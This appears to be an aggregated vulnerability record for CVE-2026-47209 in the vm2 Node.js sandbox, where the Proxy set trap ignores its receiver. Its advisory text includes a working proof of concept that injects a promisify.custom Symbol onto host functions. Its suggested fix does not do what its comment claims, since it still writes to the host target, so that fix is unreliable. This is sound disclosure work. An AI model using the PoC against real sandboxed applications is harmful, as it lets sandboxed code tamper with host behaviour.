{"id":"CVE-2026-47209","aliases":["CVE-2026-47209","GHSA-c4cf-2hgv-2qv6"],"related":[],"kind":"vulnerability","state":"published","title":"vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r => console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' && thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.4, la trampa BaseHandler.set en bridge.js (línea 1231) ignora el parámetro receiver y escribe incondicionalmente en el objeto objetivo del host. Según la especificación de la trampa set de Proxy, cuando receiver !== proxy (por ejemplo, cuando un objeto hijo hereda del proxy a través de Object.create), la asignación de propiedad debería crear una propiedad propia en el receiver, no en el objetivo del proxy. La implementación actual siempre llama a otherReflectSet(object, key, value) contra el objetivo del host, lo que provoca que todas las escrituras de propiedades heredadas se filtren al objeto del host. Este error proporciona un vector de ataque alternativo para escribir claves Symbol peligrosas entre reinos (por ejemplo, nodejs.util.promisify.custom) en objetos del host, eludiendo cualquier futura protección isDangerousCrossRealmSymbol por trampa en la ruta de establecimiento directo. Este problema ha sido parcheado en la versión 3.11.4.","source":"nvd"}],"published":"2026-05-29T17:49:18.000Z","modified":"2026-10-26T11:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"}],"cwes":["CWE-693"],"affected":[{"ranges":[{"version":"< 3.11.4","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.4"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47209","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-12T15:00:52.593Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47209","url":"https://www.cve.org/CVERecord?id=CVE-2026-47209","licence":"CVE Terms of Use","modified":"2026-06-12T15:03:57.071Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c4cf-2hgv-2qv6","url":"https://github.com/advisories/GHSA-c4cf-2hgv-2qv6","licence":"CC-BY-4.0","modified":"2026-06-12T19:45:09.843Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47209","licence":"Public domain","modified":"2026-10-26T11:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:24.516Z","epss":{"score":0.00506,"percentile":0.36427,"date":"2026-11-30T12:00:22.000Z"}}